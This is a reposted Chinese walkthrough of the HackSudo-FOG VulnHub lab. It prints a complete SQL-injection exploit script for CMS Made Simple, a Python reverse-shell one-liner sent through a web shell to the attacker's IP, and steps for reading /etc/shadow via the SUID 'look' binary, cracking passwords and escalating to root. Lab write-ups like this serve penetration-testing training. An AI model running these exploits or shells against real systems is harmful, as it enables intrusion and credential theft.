渗透测试No.23 wave信息隐藏 look命令提权 HackSudo-FOG

2024-01-16 15:59

本文主要是介绍渗透测试No.23 wave信息隐藏 look命令提权 HackSudo-FOG,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

在这里插入图片描述
在这里插入图片描述

扫描公众号关注更多打靶文章

靶机信息

下载地址:

https://www.vulnhub.com/entry/hacksudo-fog,697/

靶场: VulnHub.com

靶机名称: HackSudo-FOG

难度: 简单

发布时间: 2021年5月14日

提示信息: 无

目标: 4个flag

实验环境

攻击机:VMware	kali	192.168.7.3靶机:Vbox		linux	IP自动获取

信息收集

扫描主机

扫描局域网内的靶机IP地址

sudo nmap -sP 192.168.7.1/24

image-20220129211012557

扫描到主机地址为192.168.7.130

扫描端口

扫描靶机开放的服务端口

sudo nmap -sv -p- 192.168.7.130 -oN fog.nmap

image-20220203233453971

扫描到到多个开放端口21(ftp)、22(ssh)、80(http)、443(http)、2049(RPC)、3306(mysql),先看看80

Web渗透

访问80
http://192.168.7.130

image-20220204000044923

首页上是一段视频,隐藏了一个链接"index1.html",访问看看

http://192.168.7.130/index1.html

image-20220204000221669

image-20220204000249739

打开后是一张图片,源码里有些注释,提示凯撒密码和一个github的链接

https://github.com/hacksudo/SoundStegno

image-20220204003555371

打开仓库后是一个把信息隐藏到wave文件中的工具这里有两个py文件,SoundStegno.py把信息隐藏到wave中,ExWave.py是从wave中将隐藏信息提取出来

目录扫描

gobuster dir -u http://192.168.7.130 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,html,txt,zip

image-20220204004216921

扫描到2个目录和1个文本文件,先把他下载下来查看内容

wget http://192.168.7.130/dict.txt
cat dict.txt

image-20220204004539478

看起来是个密码字典,也许可以暴破SSH或FTP,现在没有帐号,去看下fog目录,这个目录名和靶机名一样

http://192.168.7.130/fog

image-20220204004941820

里面还有个fog目录

image-20220204005015382

空的,再去看下cms目录

image-20220204005110182

标题已经给出了这是cms made simple去找找有什么漏洞

https://www.exploit-db.com/

image-20220204005344846

漏洞还挺多,先确认下靶机上cms是什么版本,继续目录扫描

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.7.130/cms -x php,html,txt

image-20220204042337732

这里有个doc目录,继续扫描

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.7.130/cms/doc -x php,html,txt

image-20220204042446863

扫描后发现CHANGELOG.txt文件,访问查看cms版本

http://192.168.7.130/cms/doc/CHANGELOG.txt

image-20220204042629688

确认版本是2.2.5可以找相应的exp了

image-20220204042829024

这里有一个小于2.2.10版本存在sql注入,下载这个试试

exp.py

#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlibparser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)options, args = parser.parse_args()
if not options.url:print "[+] Specify an url target"print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."exit()url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""salt = ''
wordlist = ""
if options.wordlist:wordlist += options.wordlistdef crack_password():global passwordglobal outputglobal wordlistglobal saltdict = open(wordlist)for line in dict.readlines():line = line.replace("\n", "")beautify_print_try(line)if hashlib.md5(str(salt) + line).hexdigest() == password:output += "\n[+] Password cracked: " + linebreakdict.close()def beautify_print_try(value):global outputprint "\033c"cprint(output,'green', attrs=['bold'])cprint('[*] Try: ' + value, 'red', attrs=['bold'])def beautify_print():global outputprint "\033c"cprint(output,'green', attrs=['bold'])def dump_salt():global flagglobal saltglobal outputord_salt = ""ord_salt_temp = ""while flag:flag = Falsefor i in range(0, len(dictionary)):temp_salt = salt + dictionary[i]ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]beautify_print_try(temp_salt)payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"url = url_vuln + "&m1_idlist=" + payloadstart_time = time.time()r = session.get(url)elapsed_time = time.time() - start_timeif elapsed_time >= TIME:flag = Truebreakif flag:salt = temp_saltord_salt = ord_salt_tempflag = Trueoutput += '\n[+] Salt for password found: ' + saltdef dump_password():global flagglobal passwordglobal outputord_password = ""ord_password_temp = ""while flag:flag = Falsefor i in range(0, len(dictionary)):temp_password = password + dictionary[i]ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]beautify_print_try(temp_password)payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"url = url_vuln + "&m1_idlist=" + payloadstart_time = time.time()r = session.get(url)elapsed_time = time.time() - start_timeif elapsed_time >= TIME:flag = Truebreakif flag:password = temp_passwordord_password = ord_password_tempflag = Trueoutput += '\n[+] Password found: ' + passworddef dump_username():global flagglobal db_nameglobal outputord_db_name = ""ord_db_name_temp = ""while flag:flag = Falsefor i in range(0, len(dictionary)):temp_db_name = db_name + dictionary[i]ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]beautify_print_try(temp_db_name)payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"url = url_vuln + "&m1_idlist=" + payloadstart_time = time.time()r = session.get(url)elapsed_time = time.time() - start_timeif elapsed_time >= TIME:flag = Truebreakif flag:db_name = temp_db_nameord_db_name = ord_db_name_tempoutput += '\n[+] Username found: ' + db_nameflag = Truedef dump_email():global flagglobal emailglobal outputord_email = ""ord_email_temp = ""while flag:flag = Falsefor i in range(0, len(dictionary)):temp_email = email + dictionary[i]ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]beautify_print_try(temp_email)payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"url = url_vuln + "&m1_idlist=" + payloadstart_time = time.time()r = session.get(url)elapsed_time = time.time() - start_timeif elapsed_time >= TIME:flag = Truebreakif flag:email = temp_emailord_email = ord_email_tempoutput += '\n[+] Email found: ' + emailflag = Truedump_salt()
dump_username()
dump_email()
dump_password()if options.cracking:print colored("[*] Now try to crack password")crack_password()beautify_print()
python2 -m pip install termcolor
python2 exp.py -u http://192.168.7.130/cms

image-20220204044437219

扫到帐号hacksudo密码是加密过的,查了几个网站都没解出来

密码暴破

现在用帐号和之前下载的字典暴破下FTP和SSH看看有什么收获

hydra -l hacksudo -P dict.txt 192.168.7.130 ftp

image-20220204045311151

hydra -l hacksudo -P dict.txt 192.168.7.130 ssh

image-20220204045445639

FTP暴破出密码是hackme,SSH没有收获

访问ftp

ftp hacksudo@192.168.7.130
输入密码hackme

image-20220204045702393

登录成功看下有哪些文件,都下载下来

ls -all
get flag1.txt
cd hacksudo_ISRO_bak

image-20220204050112100

get authors.txt
get installfog
get secr3tSteg.zip
exit
ll

image-20220204050605873

cat flag1.txt
cat authors.txt
cat installfog

image-20220204050736535

没什么有用信息,看下压缩包有什么

unzip secr3tSteg.zip

image-20220204050828818

需要密码,暴破下

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u secr3tSteg.zip

image-20220204051504560

拿到密码就可以解压缩包了

unzip secr3tSteg.zip
输入密码fooled

image-20220204051831402

解出来2个文件,有一个wav文件,联想到之前的wave隐藏信息,先看下secr3t.txt文件是什么再去下载工具

cat secr3t.txt
git clone https://github.com/hacksudo/SoundStegno.git

image-20220204052214502

secr3t.txt文本没看到目前有用的信息,用工具提取wav内隐藏的信息

python3 SoundStegno/ExWave.py -f hacksudoSTEGNO.wav

image-20220204052506937

拿到一串加密的字符串,联想到之前的凯撒密码,我们去解一下

zzzz.orfdokrvw/irj Xvhuqdph=irj:sdvvzrug=kdfnvxgrLVUR
https://www.dcode.fr/chiffre-cesar

image-20220204053126083

解出来的内容是wwww.localhost/fog Username=fog:password=hacksudoISRO用帐号密码尝试登录后台

http://192.168.7.130/cms/admin/login.php

image-20220204054207234

登录成功,并且在文件管理模块找到一个文件,里面是一句话木马,文件管理中可以将其改名

image-20220204054328591

image-20220204054451559

image-20220204054513982

把后缀改为php,然后反弹个shell

image-20220204054710628

改名失败,那我们拷贝一份

image-20220204054809315

image-20220204054834034

image-20220204054853098

拷贝成功,直接点击访问验证

http://192.168.7.130/cms/uploads/1.php?cmd=id

image-20220204054946208

可以执行命令,开始反弹shell

kali攻击机下监听4444端口

nc -lvvp 4444

image-20220204055056288

执行反弹shell

http://192.168.7.130/cms/uploads/1.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.7.3",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20220204055416547

反弹成功,切换成可交互的shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+z快捷键

image-20220204055752418

stty -a
stty raw -echo;fg
reset

image-20220204055841392

stty rows 21 columns 105

image-20220204055923102

切换完成,找找可以提权的东西

/var/www目录下找到第2个flag

cat flag2.txt

image-20220204060259635

sudo -l 需要密码,suid有收获

find / -perm -u=s -type f 2>/dev/null

image-20220204060659035

有个look文件,用他读shadow文件

/usr/bin/look '' '/etc/shadow'

image-20220204061810400

暴破shadow密码

这两个帐号是有密码的,保存下来暴破

vi carck.txt

image-20220204062026605

开始暴破

john carck.txt

image-20220204062220868

拿到isro的密码qwerty现在用SSH登录

ssh isro@192.168.7.130
输入密码qwerty

image-20220204062427230

登录成功看看用户目录下有什么

image-20220204062508016

又拿到1个flag,还有一个fog目录

cd fog
ls -all

image-20220204062712936

有一个fog文件有root权限,执行下

./fog

image-20220204062811623

是python2,直接用他提权吧

import os
os.system('/bin/bash')
id

image-20220204062947469

提权成功,去root目录下拿最后的flag

cd /root
ls -all
cat root.txt

image-20220204063158804

拿到root.txt,游戏结束
更多靶机文章请关注微信公众号"伏波路上学安全"或扫描下方二维码
在这里插入图片描述

这篇关于渗透测试No.23 wave信息隐藏 look命令提权 HackSudo-FOG的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/613126

相关文章

性能测试介绍

性能测试是一种测试方法,旨在评估系统、应用程序或组件在现实场景中的性能表现和可靠性。它通常用于衡量系统在不同负载条件下的响应时间、吞吐量、资源利用率、稳定性和可扩展性等关键指标。 为什么要进行性能测试 通过性能测试,可以确定系统是否能够满足预期的性能要求,找出性能瓶颈和潜在的问题,并进行优化和调整。 发现性能瓶颈:性能测试可以帮助发现系统的性能瓶颈,即系统在高负载或高并发情况下可能出现的问题

字节面试 | 如何测试RocketMQ、RocketMQ?

字节面试:RocketMQ是怎么测试的呢? 答: 首先保证消息的消费正确、设计逆向用例,在验证消息内容为空等情况时的消费正确性; 推送大批量MQ,通过Admin控制台查看MQ消费的情况,是否出现消费假死、TPS是否正常等等问题。(上述都是临场发挥,但是RocketMQ真正的测试点,还真的需要探讨) 01 先了解RocketMQ 作为测试也是要简单了解RocketMQ。简单来说,就是一个分

零基础学习Redis(10) -- zset类型命令使用

zset是有序集合,内部除了存储元素外,还会存储一个score,存储在zset中的元素会按照score的大小升序排列,不同元素的score可以重复,score相同的元素会按照元素的字典序排列。 1. zset常用命令 1.1 zadd  zadd key [NX | XX] [GT | LT]   [CH] [INCR] score member [score member ...]

30常用 Maven 命令

Maven 是一个强大的项目管理和构建工具,它广泛用于 Java 项目的依赖管理、构建流程和插件集成。Maven 的命令行工具提供了大量的命令来帮助开发人员管理项目的生命周期、依赖和插件。以下是 常用 Maven 命令的使用场景及其详细解释。 1. mvn clean 使用场景:清理项目的生成目录,通常用于删除项目中自动生成的文件(如 target/ 目录)。共性规律:清理操作

【测试】输入正确用户名和密码,点击登录没有响应的可能性原因

目录 一、前端问题 1. 界面交互问题 2. 输入数据校验问题 二、网络问题 1. 网络连接中断 2. 代理设置问题 三、后端问题 1. 服务器故障 2. 数据库问题 3. 权限问题: 四、其他问题 1. 缓存问题 2. 第三方服务问题 3. 配置问题 一、前端问题 1. 界面交互问题 登录按钮的点击事件未正确绑定,导致点击后无法触发登录操作。 页面可能存在

业务中14个需要进行A/B测试的时刻[信息图]

在本指南中,我们将全面了解有关 A/B测试 的所有内容。 我们将介绍不同类型的A/B测试,如何有效地规划和启动测试,如何评估测试是否成功,您应该关注哪些指标,多年来我们发现的常见错误等等。 什么是A/B测试? A/B测试(有时称为“分割测试”)是一种实验类型,其中您创建两种或多种内容变体——如登录页面、电子邮件或广告——并将它们显示给不同的受众群体,以查看哪一种效果最好。 本质上,A/B测

【北交大信息所AI-Max2】使用方法

BJTU信息所集群AI_MAX2使用方法 使用的前提是预约到相应的算力卡,拥有登录权限的账号密码,一般为导师组共用一个。 有浏览器、ssh工具就可以。 1.新建集群Terminal 浏览器登陆10.126.62.75 (如果是1集群把75改成66) 交互式开发 执行器选Terminal 密码随便设一个(需记住) 工作空间:私有数据、全部文件 加速器选GeForce_RTX_2080_Ti

利用命令模式构建高效的手游后端架构

在现代手游开发中,后端架构的设计对于支持高并发、快速迭代和复杂游戏逻辑至关重要。命令模式作为一种行为设计模式,可以有效地解耦请求的发起者与接收者,提升系统的可维护性和扩展性。本文将深入探讨如何利用命令模式构建一个强大且灵活的手游后端架构。 1. 命令模式的概念与优势 命令模式通过将请求封装为对象,使得请求的发起者和接收者之间的耦合度降低。这种模式的主要优势包括: 解耦请求发起者与处理者

linux 判断某个命令是否安装

linux 判断某个命令是否安装 if ! [ -x "$(command -v git)" ]; thenecho 'Error: git is not installed.' >&2exit 1fi

jenkins 插件执行shell命令时,提示“Command not found”处理方法

首先提示找不到“Command not found,可能我们第一反应是查看目标机器是否已支持该命令,不过如果相信能找到这里来的朋友估计遇到的跟我一样,其实目标机器是没有问题的通过一些远程工具执行shell命令是可以执行。奇怪的就是通过jenkinsSSH插件无法执行,经一番折腾各种搜索发现是jenkins没有加载/etc/profile导致。 【解决办法】: 需要在jenkins调用shell脚